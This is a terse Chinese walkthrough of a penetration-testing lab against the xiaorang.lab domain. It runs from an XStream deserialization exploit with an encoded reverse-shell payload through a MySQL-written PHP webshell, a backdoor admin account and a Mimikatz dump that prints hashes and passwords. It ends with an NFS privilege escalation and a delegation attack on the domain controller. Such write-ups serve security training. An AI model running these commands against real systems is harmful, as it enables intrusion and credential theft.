一眼java反序列化

        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.16</version>
        </dependency>

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

开放一下1099端口

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0OS4xNDIuMTk1Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

扫内网

(icmp) Target 172.22.13.14    is alive 本机 x
(icmp) Target 172.22.13.6     is alive [+]DC XIAORANG\WIN-DC 
(icmp) Target 172.22.13.28    is alive WIN-HAUWOLAO.xiaorang.lab x
(icmp) Target 172.22.13.57    is alive web 

OK,下一步打web

不对额,没看到

[+] mysql:172.22.13.28:3306:root 123456

直接navicat连

show variables like "secure_file_priv";

结果为空,可以写文件

show variables like "%general%"

C:\phpstudy_pro\Extensions\MySQL5.7.26\data\WIN-HAUWOLAO.log

不用提权了

select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";

写个马呗

如果在linux想到弹shell,在Windows里就要想要建用户的

net user dionysus QWE123qwe. /add
net localgroup administrators dionysus /add

抓,都可以抓

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > test.txt

本机的机器hash83d3718f0ab021ac3b2c8e3ae8cde571

Authentication Id : 0 ; 85495 (00000000:00014df7)
Session           : Service from 0
User Name         : chenglei
Domain            : XIAORANG
Logon Server      : WIN-DC
Logon Time        : 2024/4/19 22:15:47
SID               : S-1-5-21-3269458654-3569381900-10559451-1105
	msv :	
	 [00000003] Primary
	 * Username : chenglei
	 * Domain   : XIAORANG
	 * NTLM     : 0c00801c30594a1b8eaa889d237c5382
	 * SHA1     : e8848f8a454e08957ec9814b9709129b7101fad7
	 * DPAPI    : 89b179dc738db098372c365602b7b0f4
	tspkg :	
	wdigest :	
	 * Username : chenglei
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : chenglei
	 * Domain   : XIAORANG.LAB
	 * Password : Xt61f3LBhg1
	ssp :	
	credman :

全局组成员 *ACL Admin *Domain Users

等会,先返回去打centos

nfs提权,tryhackme写过了

换个源,装个showmount

sudo sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
sudo apt-get update
apt-get install nfs-common -y
root@ubuntu:~# showmount -e 172.22.13.57
Export list for 172.22.13.57:
/home/joyce *

直接挂上去
mount -t nfs 172.22.13.57:/ ./a -o nolock

写ssh公钥,还是一样的连上去,然后提权

还是nfs xiaorang.lab/zhangwen\QT62f3gBhK1

ACL,名文明码都给抓出来

proxychains bloodhound-python -u zhangwen -p 'QT62f3gBhK1' -d xiaorang.lab -c all -ns 172.22.13.6 --zip --dns-tcp

proxychains addcomputer.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'

proxychains rbcd.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'TEST$'

proxychains getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6
export KRB5CCNAME=Administrator.ccache
echo "172.22.13.6 WIN-DC.xiaorang.lab" >> /etc/hosts
p4 psexec.py xiaorang.lab/[email protected] -k -no-pass -target-ip 172.22.13.6 -codec gbk